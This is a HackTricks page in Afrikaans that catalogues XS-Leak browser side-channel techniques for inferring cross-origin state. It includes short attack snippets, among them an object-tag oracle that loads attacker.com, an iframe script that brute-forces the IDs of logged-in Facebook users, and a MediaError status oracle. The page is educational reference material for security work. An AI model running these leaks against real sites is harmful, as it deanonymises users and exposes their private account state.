XS-Search/XS-Leaks

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

XS-Search is ’n metode wat gebruik word om cross-origin information te extract deur sykanaal-kwesbaarhede te benut.

Sleutelkomponente wat by hierdie aanval betrokke is, sluit in:

  • Vulnerable Web: Die teiken-webwerf waarvan inligting onttrek wil word.
  • Attacker’s Web: Die kwaadwillige webwerf deur die aanvaller geskep, wat die slagoffer besoek en die eksploite huisves.
  • Inclusion Method: Die tegniek wat gebruik word om die Vulnerable Web in die Attacker’s Web in te sluit (bv. window.open, iframe, fetch, HTML tag met href, ens.).
  • Leak Technique: Tegnieke wat gebruik word om verskille in die toestand van die Vulnerable Web te onderskei op grond van inligting verkry deur die inclusion method.
  • States: Die twee moontlike toestande van die Vulnerable Web wat die aanvaller probeer onderskei.
  • Detectable Differences: Waarneembare verskille waarop die aanvaller staatmaak om die toestand van die Vulnerable Web af te lei.

Waarneembare Verskille

Verskeie aspekte kan ontleed word om die toestande van die Vulnerable Web te onderskei:

  • Status Code: Onderskei tussen verskillende HTTP response status codes cross-origin, soos server errors, client errors, of authentication errors.
  • API Usage: Identifiseer die gebruik van Web APIs oor bladsye, wat kan aandui of ’n cross-origin bladsy ’n spesifieke JavaScript Web API gebruik.
  • Redirects: Opspoor van navigasies na ander bladsye — nie net HTTP-redirects nie, maar ook dié wat deur JavaScript of HTML veroorsaak word.
  • Page Content: Waarneem variasies in die HTTP response body of in bladsubhulpbronne, soos die aantal ingebedde frames of grootteverskille in beelde.
  • HTTP Header: Aandui teenwoordigheid of moontlik die waarde van ’n spesifieke HTTP response header, insluitend koppe soos X-Frame-Options, Content-Disposition en Cross-Origin-Resource-Policy.
  • Timing: Opval van konsekwente tydverskille tussen die twee toestande.

Inclusion Methods

  • HTML Elements: HTML bied verskeie elemente vir cross-origin resource inclusion, soos stylesheets, images of scripts, wat die blaaier dwing om ’n nie-HTML hulpbron aan te vra. ’n Samevatting van moontlike HTML-elemente vir hierdie doel is te vinde by https://github.com/cure53/HTTPLeaks.
  • Frames: Elemente soos iframe, object en embed kan HTML-hulpbronne direk in die aanvaller se bladsy insluit. As die bladsy geen framing protection het nie, kan JavaScript toegang kry tot die framed hulpbron se window-objek via die contentWindow-eienskap.
  • Pop-ups: Die window.open metode open ’n hulpbron in ’n nuwe tab of venster en verskaf ’n window-handle waarmee JavaScript volgens die SOP met metodes en eienskappe kan kommunikeer. Pop-ups, dikwels gebruik in single sign-on, omseil framing- en koekiebeperkings van ’n teikenhulpbron. Moderne blaaiers beperk egter die skep van pop-ups tot sekere gebruikersaksies.
  • JavaScript Requests: JavaScript laat direkte versoeke toe na teikenhulpbronne deur gebruik van XMLHttpRequests of die Fetch API. Hierdie metodes bied presiese beheer oor die versoek, soos die opsie om HTTP-redirects te volg.

Leak Techniques

  • Event Handler: ’n Klassieke Leak-tegniek in XS-Leaks, waar event handlers soos onload en onerror insigte gee oor of ’n hulpbron suksesvol of onsuksesvol gelaai is.
  • Error Messages: JavaScript-uitsonderings of spesiale foutbladsye kan leak-inligting voorsien, hetsy direk vanuit die foutboodskap of deur die teenwoordigheid of afwesigheid daarvan te onderskei.
  • Global Limits: Fisiese beperkinge van ’n blaaier, soos geheuekapasiteit of ander opgelêde blaaiergrense, kan aandui wanneer ’n drempel bereik is en dien as ’n Leak-tegniek.
  • Global State: Waarneembare interaksies met blaaier se globale state (bv. die History-interface) kan uitgebuit word. Byvoorbeeld, die aantal inskrywings in ’n blaaier se geskiedenis kan leidrade gee oor cross-origin bladsye.
  • Performance API: Hierdie API verskaf prestasiedetails van die huidige bladsy, insluitend netwerktydmeting vir die dokument en gelaaide hulpbronne, wat afleidings oor versoekte hulpbronne moontlik maak.
  • Readable Attributes: Sommige HTML-eienskappe is cross-origin leesbaar en kan as ’n Leak-tegniek gebruik word. Byvoorbeeld, die window.frame.length eienskap laat JavaScript toe om die aantal frames wat in ’n webblad ingesluit is cross-origin te tel.

XSinator Tool & Paper

XSinator is ’n outomatiese instrument om blaaiers te toets teen verskeie bekende XS-Leaks wat in sy paper verduidelik word: https://xsinator.com/paper.pdf

Jy kan toegang tot die instrument kry by https://xsinator.com/

Warning

Excluded XS-Leaks: Ons moes XS-Leaks uitsluit wat staatmaak op service workers aangesien dit met ander leaks in XSinator sou inmeng. Verder het ons besluit om XS-Leaks wat staatmaak op miskonfigurasie en foutjies in ’n spesifieke webtoepassing uit te sluit. Byvoorbeeld CrossOrigin Resource Sharing (CORS) miskonfigurasies, postMessage leakage of Cross-Site Scripting. Boonop het ons timebased XS-Leaks uitgesluit aangesien dit dikwels traag, lawaaierig en onnauwkeurig is.

Tydgebaseerde tegnieke

Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van webblaaie te ontdek. Daar is verskeie maniere om tyd in ’n webblaaier te meet.

Clocks: Die performance.now() API stel ontwikkelaars in staat om hoë-resolusie tydmetings te kry.
Daar is ’n aansienlike aantal APIs wat aanvallers kan misbruik om implisiete klokken te skep: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS-animaties, en ander.
Vir meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Gebeurtenishanteraar Tegnieke

Onload/Onerror

Cookie Bomb + Onerror XS Leak

Die kodevoorbeeld probeer om scripts te laai vanuit JS, maar ander tags soos objecte, stylesheets, images, audios kan ook gebruik word. Verder is dit ook moontlik om die tag direk te inject en die onload en onerror events binne die tag te verklaar (in plaas daarvan om dit vanaf JS te inject).

Daar is ook ’n script-loze weergawe van hierdie aanval:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

In hierdie geval, as example.com/404 nie gevind word nie, sal attacker.com/?error gelaai word.

Content-Type/CORB script load oracle

  • Insluitingsmetodes: HTML Elements (script)
  • Waarneembare Verskil: Header / Content-Type via onload vs onerror (CORB)
  • Opsomming: As ’n endpoint HTML teruggee by match en JSON by mismatch, laai dit met <script src>. HTML aktiveer onload; JSON word deur CORB geblokkeer en veroorsaak onerror, wat ’n Boolean oracle gee om identifiseerders soos __user binne ’n bekende scope brute-force te probeer.
  • Aantekeninge: Werk cross-origin sonder om bodies te lees; handig om die aktiewe rekening te enumerate wanneer een tenant ID vas is.

postMessage vs X-Frame-Options deny oracle

  • Insluitingsmetodes: Frames
  • Waarneembare Verskil: Header (XFO) + postMessage teenwoordigheid/afwesigheid
  • Opsomming: Sommige widgets stuur postMessage aan hul ouer sodra hulle gelaai is. As die versoek in ’n frame geplaas word met ’n verkeerde identifiseerder, kan die bediener reageer met X-Frame-Options: deny, wat rendering verhinder en dus geen boodskap uitstuur nie. Deur die iframe src te stel met die kandidaat-ID, te wag vir ’n message-gebeurtenis (sukses) en timeout/geen boodskap as mislukking te beskou, kan die aktiewe rekening brute-forced word.
  • Minimale snippet:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>

Iframe Traps

vir meer message/iframe valstrikke.

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

Hierdie tegniek is net soos die vorige een, maar die attacker sal ook force ’n aksie sodat dit ’n relevante tydsduur neem wanneer die antwoord positief of negatief is, en daardie tyd meet.

performance.now + Force heavy task

unload/beforeunload Timing

Die tyd wat dit neem om ’n resource te haal kan gemeet word deur die unload en beforeunload events te gebruik. Die beforeunload event word afgevuur wanneer die browser op die punt is om na ’n nuwe bladsy te navigeer, terwyl die unload event plaasvind wanneer die navigasie werklik plaasvind. Die tydsverskil tussen hierdie twee events kan bereken word om die duur te bepaal wat die browser bestee het aan die haal van die resource.

Sandboxed Frame Timing + onload

Daar is waargeneem dat, in die afwesigheid van Framing Protections, die tyd wat ’n bladsy en sy subresources oor die netwerk neem om te laai deur ’n attacker gemeet kan word. Hierdie meting is tipies moontlik omdat die onload handler van ’n iframe slegs getrigger word nadat die laai van resources en die uitvoering van JavaScript voltooi is. Om die veranderlikheid wat deur script-uitvoering ingebring word te omseil, kan ’n attacker die [sandbox] attribuut binne die <iframe> gebruik. Die insluiting van hierdie attribuut beperk talle funksionaliteite, veral die uitvoering van JavaScript, en maak so ’n meting moontlik wat hoofsaaklik deur netwerkprestasie beïnvloed word.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Insluitingsmetodes: Frames
  • Opspoorbare verskil: Page Content
  • Meer inligting:
  • Opsomming: As jy die bladsy ’n fout kan laat gee wanneer die korrekte inhoud geraak word en dit korrek kan laat laai wanneer enige inhoud toeganklik is, kan jy ’n lus skep om al die inligting uit te trek sonder om die tyd te meet.
  • Kodevoorbeeld:

Stel jy kan die bladsy wat die geheime inhoud bevat binne ’n Iframe invoeg.

Jy kan die slagoffer laat soek na die lêer wat “flag” bevat deur ’n Iframe te gebruik (byvoorbeeld deur ’n CSRF te misbruik). Binne die Iframe weet jy dat die onload event altyd minstens een keer uitgevoer sal word. Dan kan jy die URL van die iframe verander deur net die inhoud van die hash in die URL te verander.

Byvoorbeeld:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

As die eerste URL suksesvol gelaai is, sal die onload event nie weer getrigger word wanneer die hash-deel van die URL verander word nie. Maar as die bladsy ’n fout gehad het tydens laai, sal die onload event weer getrigger word.

Dus kan jy onderskei tussen ’n korrek gelaaide bladsy en ’n bladsy wat ’n fout gee wanneer dit geraak word.

Javascript-uitvoering

  • Insluitingsmetodes: Frames
  • Opspoorbare verskil: Page Content
  • Meer inligting:
  • Opsomming: As die bladsy die sensitiewe inhoud teruggee, of ’n inhoud wat deur die gebruiker beheer kan word. Die gebruiker kan geldige JS-kode in die negatiewe geval plaas en elke probeerslag binne <script>-tags laai, sodat in negatiewe gevalle die aanvallers se kode uitgevoer word, en in positiewe gevalle niks uitgevoer word nie.
  • Kodevoorbeeld:

JavaScript Execution XS Leak

CORB - Onerror

  • Insluitingsmetodes: HTML Elements
  • Opspoorbare verskil: Status Code & Headers
  • Meer inligting: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Opsomming: Cross-Origin Read Blocking (CORB) is ’n sekuriteitsmeganisme wat webbladsye keer om sekere sensitiewe cross-origin hulpbronne te laai om teen aanvalle soos Spectre te beskerm. Tog kan aanvallers sy beskermende gedrag misbruik. Wanneer ’n response wat aan CORB onderwerp is ’n CORB protected Content-Type met nosniff en ’n 2xx statuskode teruggee, verwyder CORB die response se body en headers. Aanvallers wat dit waarneem kan die kombinasie van die statuskode (aanduidend van sukses of fout) en die Content-Type (wat aandui of dit deur CORB beskerm is) aflei, wat potensiële inligting-lekkasie tot gevolg kan hê.
  • Kodevoorbeeld:

Kyk die “more information” skakel vir meer besonderhede oor die aanval.

onblur

Dit is moontlik om ’n bladsy binne ’n iframe te laai en die #id_value te gebruik om die bladsy te fokus op die element van die iframe met die aangeduide id; as ’n onblur sein getrigger word, bestaan die ID-element.
Jy kan dieselfde aanval ook met portal-tags uitvoer.

postMessage Broadcasts

  • Insluitingsmetodes: Frames, Pop-ups
  • Opspoorbare verskil: API Usage
  • Meer inligting: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Opsomming: Versamel sensitiewe inligting uit ’n postMessage of gebruik die teenwoordigheid van postMessages as ’n orakel om die status van die gebruiker op die bladsy te bepaal
  • Kodevoorbeeld: Any code listening for all postMessages.

Aansoeke gebruik dikwels postMessage broadcasts om oor verskillende origins te kommunikeer. Hierdie metode kan egter onbedoeld sensitiewe inligting blootstel as die targetOrigin parameter nie behoorlik gespesifiseer is nie, wat enige venster toelaat om die boodskappe te ontvang. Verder kan die enkel feit dat ’n boodskap ontvang word as ’n orakel dien; byvoorbeeld, sekere boodskappe mag slegs aan gebruikers gestuur word wat aangeteken is. Daarom kan die teenwoordigheid of afwesigheid van hierdie boodskappe inligting oor die gebruiker se toestand of identiteit openbaar, soos of hulle geauthentiseer is of nie.

Global Limits Techniques

WebSocket API

Dit is moontlik om te identifiseer of, en hoeveel, WebSocket-verbindinge ’n teikenbladsy gebruik. Dit laat ’n aanvaller toe om toepassingsstate te ontdek en inligting te lek wat gekoppel is aan die aantal WebSocket-verbindinge.

As ’n origin die maksimum aantal WebSocket-verbinding-objekte gebruik, ongeag hul verbindingsstatus, sal die skep van nuwe objects JavaScript uitzonderings meebring. Om hierdie aanval uit te voer, open die aanvaller die teikenwebwerf in ’n pop-up of iframe en nadat die teiken web gelaai is, probeer om die maksimum aantal WebSocket-verbindinge te skep. Die aantal gevalle uitzondering wat gewerp word is die aantal WebSocket-verbindinge wat deur die teikenwebwerf se venster gebruik word.

Payment API

Hierdie XS-Leak laat ’n aanvaller toe om te detecteer wanneer ’n cross-origin bladsy ’n payment request inisieer.

Aangesien slegs een Payment Request op ’n slag kan wees, as die teikenwebwerf die Payment Request API gebruik, sal enige verdere pogings om hierdie API te vertoon misluk en ’n JavaScript-uitsondering veroorsaak. Die aanvaller kan dit uitbuit deur periodiek te probeer om die Payment API UI te vertoon. As een poging ’n uitsondering veroorsaak, gebruik die teikenwebwerf dit tans. Die aanvaller kan hierdie periodieke pogings verberg deur die UI onmiddellik na skepping te sluit.

Timing the Event Loop

Event Loop Blocking + Lazy images

JavaScript werk op ’n single-threaded event loop concurrency-model, wat beteken dat dit net een taak op ’n slag kan uitvoer. Hierdie eienskap kan misbruik word om te meet hoe lank kode van ’n ander origin neem om uit te voer. ’n Aanvaller kan die uitvoeringstyd van sy eie kode in die event loop meet deur voortdurend gebeure met vaste eienskappe te stuur. Hierdie gebeure sal verwerk word wanneer die event-pool leeg is. As ander origins ook gebeure na dieselfde pool stuur, kan ’n aanvaller die tyd neem wat daardie eksterne gebeure neem deur vertraagde uitvoering van hul eie take waar te neem. Hierdie metode om die event loop op vertraging te monitor kan die uitvoeringstyd van kode van verskillende origins openbaar en potensieel sensitiewe inligting blootlê.

Warning

In ’n uitvoeringstydmeting is dit moontlik om netwerkfaktore uit te skakel om meer presiese metings te kry. Byvoorbeeld deur die hulpbronne wat die bladsy gebruik voor die bladsy laai te voorsien.

Busy Event Loop

  • Insluitingsmetodes:
  • Opspoorbare verskil: Timing (generally due to Page Content, Status Code)
  • Meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Opsomming: Een metode om die uitvoeringstyd van ’n web-operasie te meet behels die doelbewuste blokkeer van die event loop van ’n draad en dan die tyd te meet totdat die event loop weer beskikbaar is. Deur ’n blokkerende operasie (soos ’n lang berekening of ’n sinchrone API-aanroep) in die event loop in te voeg en die tyd te monitor tot opvolgende kode begin uitvoer, kan iemand die duur van take wat gedurende die blokering in die event loop uitgevoer is aflei. Hierdie tegniek maak staat op die single-threaded aard van JavaScript se event loop, waar take sequentieel uitgevoer word, en kan insigte gee in die prestasie of gedrag van ander operasies wat dieselfde draad deel.
  • Kodevoorbeeld:

’n Belangrike voordeel van die tegniek om uitvoeringstyd deur die blokkering van die event loop te meet, is die potensiaal om Site Isolation te omseil. Site Isolation is ’n sekuriteitsfunksie wat verskillende webwerwe in afsonderlike prosesse skei om kwaadwillige werwe te keer om direk sensitiewe data van ander werwe te bekom. Deur egter die uitvoeringstyd van ’n ander origin te beïnvloed via die gedeelde event loop, kan ’n aanvaller indirek inligting oor daardie origin se aktiwiteite uittrek. Hierdie metode berus nie op direkte toegang tot die ander origin se data nie, maar waarneem eerder die impak van daardie origin se aktiwiteite op die gedeelde event loop, en ontwrig dus die beskermende hekke wat deur Site Isolation opgerig is.

Warning

In ’n uitvoeringstydmeting is dit moontlik om netwerkfaktore uit te skakel om meer presiese metings te kry. Byvoorbeeld deur die hulpbronne wat die bladsy gebruik voor die bladsy laai te voorsien.

Connection Pool

  • Insluitingsmetodes: JavaScript Requests
  • Opspoorbare verskil: Timing (generally due to Page Content, Status Code)
  • Meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Opsomming: ’n Aanvaller kan alle sockets behalwe een toelaat, die teikenwebwerf laai en terselfdertyd ’n ander bladsy laai; die tyd totdat die laaste bladsy begin laai is die tyd wat die teikenbladsy geneem het om te laai.
  • Kodevoorbeeld:

Connection Pool Examples

Browsers gebruik sockets om met bedieners te kommunikeer, maar as gevolg van beperkte bedryfstelsel- en hardewarehulpbronne, moet browsers ’n limiet op die aantal gelyktydige sockets afdwing. Aanvallers kan hierdie beperking misbruik deur die volgende stappe:

  1. Vind die browser se socket-limiet, byvoorbeeld 256 globale sockets.
  2. Beset 255 sockets vir ’n lang tyd deur 255 versoeke na verskeie hosts te begin wat ontwerp is om die verbindings oop te hou sonder om dit te voltooi.
  3. Gebruik die 256ste socket om ’n versoek na die teikenbladsy te stuur.
  4. Probeer ’n 257ste versoek na ’n ander host. Aangesien alle sockets in gebruik is (soos in stappe 2 en 3), sal hierdie versoek in die ry geplaas word totdat ’n socket vrykom. Die vertragingsduur voordat hierdie versoek voortgaan verskaf die aanvaller tydsinligting oor die netwerkaktiwiteit verwant aan die 256ste socket (die teikenbladsy se socket). Hierdie gevolgtrekking is moontlik omdat die 255 sockets van stap 2 nog besig is, wat beteken dat enige nuut beskikbare socket daardie een van stap 3 moet wees. Die tyd wat dit neem vir die 256ste socket om vry te raak is dus direk gekoppel aan die tyd wat die versoek na die teikenbladsy neem om klaar te maak.

Vir meer inligting: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Insluitingsmetodes: JavaScript Requests
  • Opspoorbare verskil: Timing (generally due to Page Content, Status Code)
  • Meer inligting:
  • Opsomming: Dit is soos die vorige tegniek, maar in plaas daarvan om al die sockets te gebruik, sal Google Chrome ’n limiet van 6 gelyktydige versoeke na dieselfde origin plaas. As ons 5 blokkeer en dan ’n 6de versoek loods, kan ons dit tyd en as ons daarin slaag om die slagofferbladsy meer versoeke na dieselfde eindpunt te laat stuur om ’n status van die bladsy te detecteer, sal die 6de versoek langer neem en ons kan dit detecteer.

Performance API Techniques

Die Performance API bied insigte in die prestasie-metrieke van webtoepassings, verder verryk deur die Resource Timing API. Die Resource Timing API maak dit moontlik om gedetailleerde netwerkversoektye te monitor, soos die duur van versoeke. Wanneer bedieners die Timing-Allow-Origin: * header in hul responses insluit, word ekstra data soos oordraggrootte en domein-opsoektijd beskikbaar.

Hierdie rykdom aan data kan verkry word via metodes soos performance.getEntries of performance.getEntriesByName, wat ’n omvattende oorsig van prestasieverwante inligting gee. Verder fasiliteer die API die meting van uitvoeringstye deur die verskil tussen tydstempels van performance.now() te bereken. Dit is egter die moeite werd om daarop te let dat vir sekere operasies in blaaiers soos GC die presisie van performance.now() tot millisekondes beperk kan wees, wat die fynheid van tydmetings kan beïnvloed.

Benewens tydmetings kan die Performance API vir sekuriteitsverwante insigte gebruik word. Byvoorbeeld, die teenwoordigheid of afwesigheid van bladsye in die performance-object in Chrome kan aandui of X-Frame-Options toegepas word. Spesifiek, as ’n bladsy verhinder word om in ’n frame te render weens X-Frame-Options, sal dit nie in die performance-object aangeteken word nie, wat ’n subtiele wenk gee oor die bladsy se framing-beleid.

Error Leak

Dit is moontlik om tussen HTTP response statuskodes te onderskei omdat versoeke wat tot ’n fout lei nie ’n performance entry skep nie.

Style Reload Error

In die vorige tegniek is twee gevalle geïdentifiseer waar blaaierfoute in GC daartoe lei dat hulpbronne twee keer gelaai word wanneer hulle misluk om te laai. Dit sal tot veelvuldige inskrywings in die Performance API lei en kan dus opgespoor word.

Request Merging Error

Die tegniek is in ’n tabel in die genoemde artikel gevind maar daar is geen beskrywing van die tegniek daarop nie. Jy kan egter die bronkode daarvoor in die skakel sien: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

’n Aanvaller kan detecteer of ’n versoek in ’n leë HTTP response body geëindig het omdat leë bladsye in sommige blaaiers nie ’n performance entry skep nie.

XSS-Auditor Leak

In Security Assertions (SA) kan die XSS Auditor, oorspronklik bedoel om Cross-Site Scripting (XSS) aanvalle te voorkom, ironies genoeg misbruik word om sensitiewe inligting te lek. Alhoewel hierdie ingeboude funksie uit Google Chrome (GC) verwyder is, is dit steeds in SA teenwoordig. In 2013 het Braun en Heiderich aangetoon dat die XSS Auditor wettige skripte foutiewelik kan blokkeer, wat tot false positives lei. Navorsers het daarop voortgebou en tegnieke ontwikkel om inligting te onttrek en spesifieke inhoud op cross-origin bladsye te detecteer — ’n konsep bekend as XS-Leaks, aanvanklik gerapporteer deur Terada en uitgebrei deur Heyes in ’n blogpost. Alhoewel hierdie tegnieke spesifiek vir die XSS Auditor in GC was, is daar ontdek dat in SA bladsye wat deur die XSS Auditor geblokkeer word geen entries in die Performance API genereer nie, wat ’n metode blootlê waardeur sensitiewe inligting steeds geleak kan word.

X-Frame Leak

As ’n bladsy nie toegelaat word om in ’n iframe gerender te word nie, skep dit nie ’n performance entry nie. Gevolglik kan ’n aanvaller die response-header X-Frame-Options detecteer.
Dieselfde gebeur as jy ’n embed-tag gebruik.

Download Detection

Soos by die beskrywde XS-Leak, skep ’n hulpbron wat as ’n aflaai veroorsaak word weens die ContentDisposition-header ook nie ’n performance entry nie. Hierdie tegniek werk in al die hoofblaaiers.

Redirect Start Leak

Ons het ’n XS-Leak-voorbeeld gevind wat die gedrag van sekere blaaiers misbruik wat te veel inligting vir cross-origin versoeke log. Die standaard definieer ’n substel van attribuutte wat vir cross-origin hulpbronne tot nul gestel moet word. In SA is dit egter moontlik om te detecteer of die gebruiker deur die teikenbladsy herlei is deur die Performance API te bevraagteken en te kyk vir die redirectStart timing data.

Duration Redirect Leak

In GC is die duration vir versoeke wat in ’n redirect eindig negatief en kan dus van versoeke wat nie herlei nie onderskei word.

CORP Leak

In sommige gevalle kan die nextHopProtocol entry as ’n lekkagetegniek gebruik word. In GC, wanneer die CORP-header gestel is, sal nextHopProtocol leeg wees. Let daarop dat SA glad nie ’n performance entry vir CORP-aktiwite hulpbronne sal skep nie.

Service Worker

Service workers is event-gedrewe skripkontekste wat op ’n origin loop. Hulle werk op die agtergrond van ’n webblad en kan hulpbronne onderskep, wysig en cache om offline webtoepassings te skep.
As ’n hulpbron deur ’n service worker gecache is en via ’n iframe geraak word, sal die hulpbron vanuit die service worker-cache gelaai word.
Om te detecteer of die hulpbron uit die service worker-cache gelaai is, kan die Performance API gebruik word.
Dit kan ook met ’n Timing-attack gedoen word (kyk die artikel vir meer inligting).

Cache

Deur die Performance API te gebruik is dit moontlik om te kontroleer of ’n hulpbron in die cache is.

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

Die MediaError-koppelvlak se message-eienskap identifiseer hulpbronne wat suksesvol laai uniek deur ’n kenmerkende string. ’n Aanvaller kan hierdie funksie misbruik deur die boodskapinhoud waar te neem en sodoende die antwoordstatus van ’n cross-origin hulpbron af te lei.

CORS Error

Hierdie tegniek stel ’n aanvaller in staat om die bestemming van ’n cross-origin webwerf se redirect te onttrek deur te misbruik hoe Webkit-gebaseerde blaaiers CORS-versoeke hanteer. Spesifiek, wanneer ’n CORS-enabled versoek na ’n teikenwebwerf gestuur word wat ’n omleiding uitvoer op grond van gebruikersstatus en die blaaier die versoek daarna ontken, word die volledige URL van die omleiding se bestemming in die foutboodskap onthul. Hierdie kwesbaarheid openbaar nie net die feit van die omleiding nie, maar ook die omleiding se eindpunt en enige sensitive query parameters wat dit mag bevat.

SRI Error

’n Aanvaller kan verbose foutboodskappe misbruik om die grootte van cross-origin antwoorde te raai. Dit is moontlik weens die meganisme van Subresource Integrity (SRI), wat die integrity attribuut gebruik om te verifieer dat hulpbronne wat gevra word, dikwels vanaf CDNs, nie gemanipuleer is nie. Vir SRI om op cross-origin hulpbronne te werk, moet hierdie hulpbronne CORS-enabled wees; anders val hulle nie onder integriteitskontroles nie. In Security Assertions (SA), soortgelyk aan die CORS error XS-Leak, kan ’n foutboodskap vasgevang word nadat ’n fetch-versoek met ’n integrity attribuut misluk het. Aanvallers kan doelbewus hierdie fout provoceer deur ’n valse hash-waarde aan die integrity attribuut van enige versoek toe te ken. In SA openbaar die resulterende foutboodskap per ongeluk die inhoudslengte van die aangevraagde hulpbron. Hierdie inligtingslekkasie stel ’n aanvaller in staat om variasies in responsgrootte te onderskei en baan te maak vir gesofistikeerde XS-Leak-aanvalle.

CSP Violation/Detection

’n XS-Leak kan die CSP gebruik om te ontdek of ’n cross-origin webwerf na ’n ander origin omgelei is. Hierdie leak kan die omleiding ontdek, en daarbenewens lek die domein van die omleiding se bestemming. Die basiese idee van hierdie aanval is om die teiken-domein op die aanvaller se webwerf toe te laat. Sodra ’n versoek aan die teiken-domein uitgereik word, omlei dit na ’n cross-origin domein. CSP blokkeer die toegang daartoe en skep ’n violation report wat as ’n leak technique gebruik kan word. Afhangend van die blaaier, kan hierdie verslag die teiken-ligging van die omleiding lek. Moderne blaaiers sal nie die URL waarheen dit omgelei is aandui nie, maar jy kan nog steeds detect dat ’n cross-origin omleiding getrigger is.

Cache

Blaaiers kan ’n gedeelde cache vir alle webwerwe gebruik. Ongeag hul origin, is dit moontlik om af te lei of ’n teikenblad ’n spesifieke lêer aangevra het.

As ’n blad net ’n beeld laai as die gebruiker aangemeld is, kan jy die resource ongeldig maak (sodat dit nie meer gecache is nie, sien meer info-links), ’n versoek uitvoer wat daardie resource sou kon laai en probeer om die resource te laai met ’n slegte versoek (bv. deur ’n oorlang referer header). As die resource-laai nie ’n fout veroorsaak het nie, is dit omdat dit gecache was.

CSP Directive

’n Nuwe funksie in Google Chrome laat webblaaie toe om ’n Content Security Policy (CSP) voor te stel deur ’n attribuut op ’n iframe-element te stel, met beleidsdirektiewe wat saam met die HTTP-versoek oorgedra word. Normaalweg moet die ingeslote inhoud dit via ’n HTTP-header magtig, anders word ’n foutbladsy vertoon. As die iframe egter reeds deur ’n CSP beheer word en die nuut voorgestelde beleid nie meer restrictief is nie, sal die blad normaalweg laai. Hierdie meganisme skep ’n manier vir ’n aanvaller om spesifieke CSP-direktiewe van ’n cross-origin blad te detect deur die foutbladsy te identifiseer. Alhoewel hierdie kwesbaarheid as reggestel aangeteken is, toon ons bevindinge ’n nuwe leak technique wat die foutbladsy kan detecteer, wat daarop dui dat die onderliggende probleem nooit volledig aangespreek is nie.

CORP

Die CORP-header is ’n relatief nuwe webplatform-sekuriteitsfunksie wat no-cors cross-origin versoeke na die gegewe hulpbron blokkeer. Die teenwoordigheid van die header kan opgespoor word, omdat ’n hulpbron wat met CORP beskerm is ’n fout sal gooi wanneer dit gevra word.

CORB

Kyk na die skakel vir meer inligting oor die aanval.

CORS error on Origin Reflection misconfiguration

As die Origin header in die header Access-Control-Allow-Origin weergegee word, kan ’n aanvaller hierdie gedrag misbruik om te probeer om die resource in CORS-modus te fetch. As ’n fout nie getrigger word nie, beteken dit dat dit korrek van die web herwin is; as ’n fout wel getrigger word, is dit omdat dit uit die cache gehaal is (die fout verskyn omdat die cache ’n respons bewaar met ’n CORS-header wat die oorspronklike domein toelaat en nie die aanvaller se domein nie).
Neem asseblief kennis dat as die origin nie weerspieël word nie maar ’n wildcard gebruik word (Access-Control-Allow-Origin: *) sal dit nie werk nie.

Readable Attributes Technique

Fetch Redirect

Deur ’n versoek in te dien met die Fetch API met redirect: "manual" en ander parameters, is dit moontlik om die response.type eienskap te lees en as dit gelyk is aan opaqueredirect dan was die response ’n omleiding.

COOP

’n Aanvaller kan die teenwoordigheid van die Cross-Origin Opener Policy (COOP) header in ’n cross-origin HTTP-respons aflei. COOP word deur webtoepassings gebruik om te verhoed dat eksterne werwe willekeurige window-referenties bekom. Die sigbaarheid van hierdie header kan bepaal word deur te probeer om die contentWindow referensie te benader. In scenario’s waar COOP voorwaardelik toegepas word, word die opener eienskap ’n wenkbrou: dit is undefined wanneer COOP aktief is, en gedefinieer wanneer dit nie daar is nie.

URL Max Length - Server Side

As ’n server-side omleiding gebruiker-insette binne die omleiding gebruik en ekstra data byvoeg, is dit moontlik om hierdie gedrag te ontdek omdat bedieners gewoonlik ’n limiet op versoeklengte het. As die gebruikerdata byna die limiet is (bv. lengte - 1) en die omleiding nog iets byvoeg, kan dit ’n fout veroorsaak wat via Error Events opgespoor kan word.

